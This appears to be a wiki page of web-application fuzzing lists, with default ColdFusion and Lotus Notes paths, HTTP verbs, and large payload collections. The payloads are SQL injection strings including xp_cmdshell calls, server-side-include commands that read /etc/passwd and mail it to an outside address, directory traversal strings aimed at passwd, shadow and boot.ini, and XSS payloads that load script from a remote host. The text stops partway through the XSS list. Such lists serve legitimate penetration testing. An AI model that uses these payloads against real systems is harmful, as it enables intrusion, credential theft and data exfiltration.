.xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> 